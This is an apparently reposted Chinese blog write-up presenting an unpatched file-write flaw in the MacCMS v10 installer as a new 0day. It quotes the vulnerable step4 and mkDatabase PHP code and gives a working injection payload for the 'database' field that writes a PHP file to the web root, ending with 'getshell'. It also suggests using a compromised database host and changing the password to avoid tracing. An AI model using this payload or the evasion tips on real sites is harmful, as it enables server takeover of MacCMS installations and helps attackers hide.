MacCMS任意文件写入-v10 bulid2023.1000.3052
1 、MacCms-v10
-
基于ThinkPHP和Layui的多功能开源免费内容管理系统 -
大幅度降低站长上手门槛,让每一个无需会编程技术的新手都能快速上手 -
支持导出 PDF 和 markdown
2、漏洞利用
直接通过Seay工具快速定位危险函数file_put_contents
file_put_contents(APP_PATH.'database.php', $code);
反向查找$code 的内容是否可控 发现可控参数有很多hostname、database、username、password、hostport都是可控参数
private function mkDatabase(array $data)
{
$code = <<<INFO
<?php
return [
// 数据库类型
'type' => 'mysql',
// 服务器地址
'hostname' => '{$data['hostname']}',
// 数据库名
'database' => '{$data['database']}',
// 用户名
'username' => '{$data['username']}',
// 密码
'password' => '{$data['password']}',
// 端口
'hostport' => '{$data['hostport']}',
// 连接dsn
'dsn' => '',
// 数据库连接参数
'params' => [],
// 数据库编码默认采用utf8
'charset' => 'utf8',
// 数据库表前缀
'prefix' => '{$data['prefix']}',
// 数据库调试模式
'debug' => false,
// 数据库部署方式:0 集中式(单一服务器),1 分布式(主从服务器)
'deploy' => 0,
// 数据库读写是否分离 主从式有效
'rw_separate' => false,
// 读写分离后 主服务器数量
'master_num' => 1,
// 指定从服务器序号
'slave_no' => '',
// 是否严格检查字段是否存在
'fields_strict' => false,
// 数据集返回类型
'resultset_type' => 'array',
// 自动写入时间戳字段
'auto_timestamp' => false,
// 时间字段取出后的默认时间格式
'datetime_format' => 'Y-m-d H:i:s',
// 是否需要进行SQL性能分析
'sql_explain' => false,
// Builder类
'builder' => '',
// Query类
'query' => '\think\db\Query',
];
INFO;
找到处理逻辑step4函数 发现代码中先对数据库进行了连接后在调用file_put_contents,为了逻辑运行到file_put_contents函数 hostname、username、password、hostport必须正确,可控参数就是有database了,但是这里要注意数据库可在云服务器搭建或者使用肉鸡数据库,校验账号密码后即可写入文件,需要及时修改数据库密码 因数据库地址、账号、密码会写入到配置文件中 造成溯源
private function step4()
{
if ($this->request->isPost()) {
if (!is_writable(APP_PATH.'database.php')) {
return $this->error('[app/database.php]'.lang('install/write_read_err'));
}
$data = input('post.');
$data['type'] = 'mysql';
$rule = [
'hostname|'.lang('install/server_address') => 'require',
'hostport|'.lang('install/database_port') => 'require|number',
'database|'.lang('install/database_name') => 'require',
'username|'.lang('install/database_username') => 'require',
'prefix|'.lang('install/database_pre') => 'require|regex:^[a-z0-9]{1,20}[_]{1}',
'cover|'.lang('install/overwrite_database') => 'require|in:0,1',
];
$validate = $this->validate($data, $rule);
if (true !== $validate) {
return $this->error($validate);
}
$cover = $data['cover'];
unset($data['cover']);
$config = include APP_PATH.'database.php';
foreach ($data as $k => $v) {
if (array_key_exists($k, $config) === false) {
return $this->error(lang('param').''.$k.''.lang('install/not_found'));
}
}
// 不存在的数据库会导致连接失败
$database = $data['database'];
unset($data['database']);
// 创建数据库连接
$db_connect = Db::connect($data);
// 检测数据库连接
try{
$db_connect->execute('select version()');
}catch(Exception $e){
$this->error(lang('install/database_connect_err'));
}
// 生成数据库配置文件
$data['database'] = $database;
self::mkDatabase($data);
// 不覆盖检测是否已存在数据库
if (!$cover) {
$check = $db_connect->execute('SELECT * FROM information_schema.schemata WHERE schema_name="'.$database.'"');
if ($check) {
$this->success(lang('install/database_name_haved'),'');
}
}
// 创建数据库
if (!$db_connect->execute("CREATE DATABASE IF NOT EXISTS `{$database}` DEFAULT CHARACTER SET utf8")) {
return $this->error($db_connect->getError());
}
return $this->success(lang('install/database_connect_ok'), '');
} else {
return $this->error(lang('install/access_denied'));
}
}
继续往下看 写入内容因为没做过滤 直接闭合database=>'admin' 后面加上file_put_contents参数将木马写入到1.php文件中 payload如下
admin',$a=' phpinfo();',file_put_contents('1.php',$a),#
return [
// 数据库类型
'type' => 'mysql',
// 服务器地址
'hostname' => '127.0.0.1',
// 数据库名
'database' => 'admin',$a='<?php phpinfo();?>',file_put_contents('1.php',$a),#',
// 用户名
'username' => 'root',
// 密码
'password' => 'root',
// 端口
'hostport' => '3306',
// 连接dsn
'dsn' => '',
// 数据库连接参数
'params' => [],
// 数据库编码默认采用utf8
'charset' => 'utf8',
// 数据库表前缀
'prefix' => 'mac_',
// 数据库调试模式
'debug' => false,
// 数据库部署方式:0 集中式(单一服务器),1 分布式(主从服务器)
'deploy' => 0,
// 数据库读写是否分离 主从式有效
'rw_separate' => false,
// 读写分离后 主服务器数量
'master_num' => 1,
// 指定从服务器序号
'slave_no' => '',
// 是否严格检查字段是否存在
'fields_strict' => false,
// 数据集返回类型
'resultset_type' => 'array',
// 自动写入时间戳字段
'auto_timestamp' => false,
// 时间字段取出后的默认时间格式
'datetime_format' => 'Y-m-d H:i:s',
// 是否需要进行SQL性能分析
'sql_explain' => false,
// Builder类
'builder' => '',
// Query类
'query' => 'thinkdbQuery',
];
在根目录中发现1.php文件访问 运行了phpinfo()函数、直接传马子getshell了
原文始发于微信公众号(探幽安全):MacCMS最新版本任意文件写入-新鲜0day出炉
免责声明:文章中涉及的程序(方法)可能带有攻击性,仅供安全研究与教学之用,读者将其信息做其他用途,由读者承担全部法律及连带责任,本站不承担任何法律及连带责任;如有问题可邮件联系(建议使用企业邮箱或有效邮箱,避免邮件被拦截,联系方式见首页),望知悉。
- 左青龙
- 微信扫一扫
-
- 右白虎
- 微信扫一扫
-
评论